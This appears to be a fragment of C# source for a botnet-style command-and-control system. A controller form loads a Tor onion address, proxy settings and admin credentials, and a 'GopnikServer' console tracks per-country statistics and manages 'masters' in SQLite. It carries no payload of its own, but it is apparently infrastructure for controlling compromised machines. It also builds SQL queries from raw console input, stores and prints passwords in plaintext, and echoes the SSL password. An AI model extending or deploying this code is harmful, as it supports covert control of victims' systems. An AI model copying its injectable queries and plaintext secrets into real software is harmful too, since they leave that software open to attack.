private void frmMain_Load(object sender, EventArgs e) { try { if (CSettings.LoadSettings()) { object objOnionAddress = CSettings.GetValue("OnionAddress"); if (objOnionAddress != null) { Program.ControllerConfig.OnionAddress = (String)objOnionAddress; } object objOnionPort = CSettings.GetValue("OnionPort"); if (objOnionPort != null && Int32.TryParse((String)objOnionPort, out Program.ControllerConfig.OnionPort)) { } object objTorIP = CSettings.GetValue("TorIP"); if (objTorIP != null) { Program.ControllerConfig.Tor_Host = (String)objTorIP; } object objTorPort = CSettings.GetValue("TorPort"); if (objTorPort != null && Int32.TryParse((String)objTorPort, out Program.ControllerConfig.Tor_Port)) { } object objAdminUsername = CSettings.GetValue("AdminUsername"); if (objAdminUsername != null) { Program.ControllerConfig.AdminUsername = (string)objAdminUsername; } object objAdminPassword = CSettings.GetValue("AdminPassword"); if (objAdminPassword != null) { Program.ControllerConfig.AdminPassword = (string)objAdminPassword; } } m_Controller = new CController(this); } catch (Exception ex) { MessageBox.Show("There has been a fatal error. The controller wont work. Please contact support."); } }
static void Main(string[] args) { Console.Title = String.Format("{0} [{1}]", CConstants.ServerName, CConfig.ServerVersion); Console.WriteLine(CConstants.WelcomeMessage); if (!File.Exists("GeoIP.dat")) { Console.WriteLine("[WARNING] GeoIP.dat is not found. Country statistics wont work."); } else { ls = new LookupService("GeoIP.dat", LookupService.GEOIP_MEMORY_CACHE); } try { if (CSettings.LoadSettings()) { object objServerPort = CSettings.GetValue("ServerPort"); if (objServerPort != null) { if (int.TryParse((String)objServerPort, out CConfig.ServerPort)) { Console.WriteLine(CConstants.PortLoaded, CConfig.ServerPort); } } else { Console.WriteLine(CConstants.ErrorReading, "ServerPort"); } object objDatabaseName = CSettings.GetValue("DatabaseName"); if (objDatabaseName != null) { CConfig.DatabaseName = (String)objDatabaseName; Console.WriteLine(CConstants.DatabaseLoaded, CConfig.DatabaseName); } else { Console.WriteLine(CConstants.ErrorReading, "DatabaseName"); } object objSSLPassword = CSettings.GetValue("SSLPassword"); if (objSSLPassword != null) { CConfig.SSLPassword = (String)objSSLPassword; Console.WriteLine(CConstants.SSLPasswordLoaded, CConfig.SSLPassword); } else { Console.WriteLine(CConstants.ErrorReading, "SSLPassword"); } object objCertFilename = CSettings.GetValue("SSLCertFilename"); if (objCertFilename != null) { CConfig.SSLCertificateFilename = (String)objCertFilename; Console.WriteLine(CConstants.SSLCertificateFilenameLoaded, CConfig.SSLCertificateFilename); } else { Console.WriteLine(CConstants.ErrorReading, "SSLCertFilename"); } object objResultsPerPage = CSettings.GetValue("ResultsPerPage"); if (objResultsPerPage != null) { if (Int32.TryParse((String)objResultsPerPage, out CConfig.ResultsPerPage)) { Console.WriteLine(CConstants.ResultsPerPageLoaded, CConfig.ResultsPerPage); } } else { Console.WriteLine(CConstants.ErrorReading, "ResultsPerPage"); } } else { CSettings.SetValue("ServerPort", (object)CConfig.ServerPort); CSettings.SetValue("DatabaseName", (object)CConfig.DatabaseName); CSettings.SetValue("SSLPassword", (object)CConfig.SSLPassword); CSettings.SetValue("ResultsPerPage", (object)CConfig.ResultsPerPage); CSettings.SetValue("SSLCertFilename", (object)CConfig.SSLCertificateFilename); if (CSettings.SaveSettings()) { Console.WriteLine(CConstants.SettingsCreated); Console.ReadKey(); return; } } DatabaseClient = new CDatabase(CConfig.DatabaseName); GopnikServer = new CGopnikServer(CConfig.ServerPort); if (GopnikServer.StartServer()) { Console.WriteLine(CConstants.ServerStartedMessage); } } catch (System.Exception ex) { Console.WriteLine(ex.ToString()); Console.ReadLine(); } String strInput = String.Empty; while ((strInput = Console.ReadLine()) != string.Empty) { String[] arr_strData = strInput.Split(' '); switch (arr_strData[0]) { case ".help": Console.WriteLine("[HELP] .addmaster username password - Adds a new Master to the Database."); Console.WriteLine("[HELP] .delmaster ID - Removes a Master by its ID from database."); Console.WriteLine("[HELP] .masters - Shows all current available Masters."); break; case ".addmaster": if (arr_strData.Length != 3) { Console.WriteLine("[ERROR] Invalid arguments for command. Example: .addmaster username password"); break; } if (DatabaseClient.ExecuteNonResultQuery(String.Format("INSERT INTO masters(master_username, master_password) VALUES('{0}', '{1}')", arr_strData[1], arr_strData[2]))) { Console.WriteLine("[EVENT] New master added to database."); } break; case ".delmaster": if (arr_strData.Length != 2) { Console.WriteLine("[ERROR] Invalid arguments for command. Example: .delmaster id"); break; } Int32 iMasterID = -1; if (!Int32.TryParse(arr_strData[1], out iMasterID)) { Console.WriteLine("[ERROR] Argument expects Integer value."); break; } if (DatabaseClient.ExecuteNonResultQuery(String.Format("DELETE FROM masters WHERE master_id={0}", iMasterID))) { Console.WriteLine("[EVENT] Master removed from database."); } break; case ".masters": SQLiteDataReader Result = DatabaseClient.ExecuteReadQuery("SELECT * FROM masters"); if (Result.HasRows) { while (Result.Read()) { Console.WriteLine("ID: {0} | Username: {1} | Password: {2}", Result["master_id"], Result["master_username"], Result["master_password"]); } } else { Console.WriteLine("No masters found in database."); } break; case ".exit": break; default: break; } } }